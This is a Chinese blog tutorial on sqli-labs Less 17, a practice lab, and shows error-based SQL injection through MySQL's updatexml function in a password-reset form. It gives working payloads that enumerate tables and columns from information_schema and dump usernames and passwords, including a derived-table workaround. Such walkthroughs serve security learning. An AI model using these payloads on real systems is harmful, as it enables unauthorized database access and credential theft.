Less 17 (updatexml注入)

题意分析

通过简单的测试,我们可以知道,这个页面的功能就是更改你所输入的usernamepassword。(就是改密码)通过看源码,我们可以知道,此页面对于username字段有很严格的过滤。因此我们将注入的重点放在password上。同时我们一定要保证输入的用户名一定要是正确的,否则只会返回错误页面。

在这里插入图片描述
通过上面这个测试,我们得到了一条报错信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1

通过这条报错语句我们可以得到两个关键的注入信息:

  1. password的类型为单引号包裹的字符型。
  2. 此网站的报错信息没有很好的屏蔽掉,我们可以利用报错来查表。

updatexml解析

updatexml是SQL语法的一个函数:
UPDATEXML(XML_document, XPath_string, new_value)
参数:
1: XML_document是String格式,为XML文档对象的名称,文中为Doc
2:XPath_string (Xpath格式的字符串) ,用于匹配第一个参数中的部分内容。(就像使用正则表达式匹配一个文本的特定内容一样)
3: new_value,String格式,替换查找到的符合条件的数据。

在这里,我们利用updatexml函数的报错机制进行注入,原理就是当第二个参数的格式和Xpath的格式不符的时候,就会产生报错,我们可以将我们的payload构造到第二个参数中,让其随着报错信息展示到页面上。

实战

先将注入的格式给出:
admin' or updatexml(1, (concat('#',(payload))), 1) #

首先看一下当前数据库的名称:
admin' or updatexml(1, concat('#', database()), 1) #
在这里插入图片描述
然后查看当前数据库中有哪些数据表:
updatexml(1, concat("#", (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0) #

在这里插入图片描述
由此我们得到该数据库下有4张数据表。我们现在来查一下users表。

首先看一下users表都有什么字段:
updatexml(1, concat("#", (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")), 0) #
在这里插入图片描述
可以看到有三个字段id, username, password

那么,最后一步就是进行表的检索。
我们先用以上逻辑进行sql注入的构造:
updatexml(1, concat("#", (select group_concat(username) from users)), 0) #
当我们试图用上述语句查询username字段的时候,发现报了一个错误:
You can't specify target table 'users' for update in FROM clause
那么我们该换一下思路,使用基于from的子查询,将payload构造到from的子查询中。如下:

' or updatexml(1, concat('#', (select * from (select group_concat(username) from users) a)), 0) #
在这里插入图片描述
查询密码同理,由此我们就可以得到所有的数据了。

猜你喜欢

转载自blog.csdn.net/weixin_43901998/article/details/106126679